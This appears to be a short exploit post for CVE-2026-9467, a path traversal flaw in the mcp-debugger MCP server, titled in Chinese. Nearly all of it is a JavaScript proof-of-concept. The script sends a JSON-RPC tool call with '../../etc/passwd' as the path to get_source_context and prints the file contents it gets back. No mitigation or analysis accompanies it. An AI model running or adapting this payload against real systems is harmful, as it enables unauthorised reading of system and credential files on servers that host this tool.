CVE-2026-9467 debugmcp mcp-debugger路径遍历漏洞

// PoC for CVE-2026-9467 in debugmcp mcp-debugger // The vulnerability exists in the 'handleGetSourceContext' function // allowing attackers to read arbitrary files via path traversal. async function exploit(targetUrl) { // Malicious payload to traverse to the root directory and read /etc/passwd const maliciousPath = "../../etc/passwd"; // Construct the request payload based on the MCP protocol or API endpoint const payload = { jsonrpc: "2.0", method: "tools/call", // Assuming this triggers the handler params: { name: "get_source_context", arguments: { path: maliciousPath } }, id: 1 }; try { const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }); const data = await response.json(); console.log("Exploit result:", data); } catch (error) { console.error("Exploit failed:", error); } } // Usage: exploit("http://localhost:3000/mcp");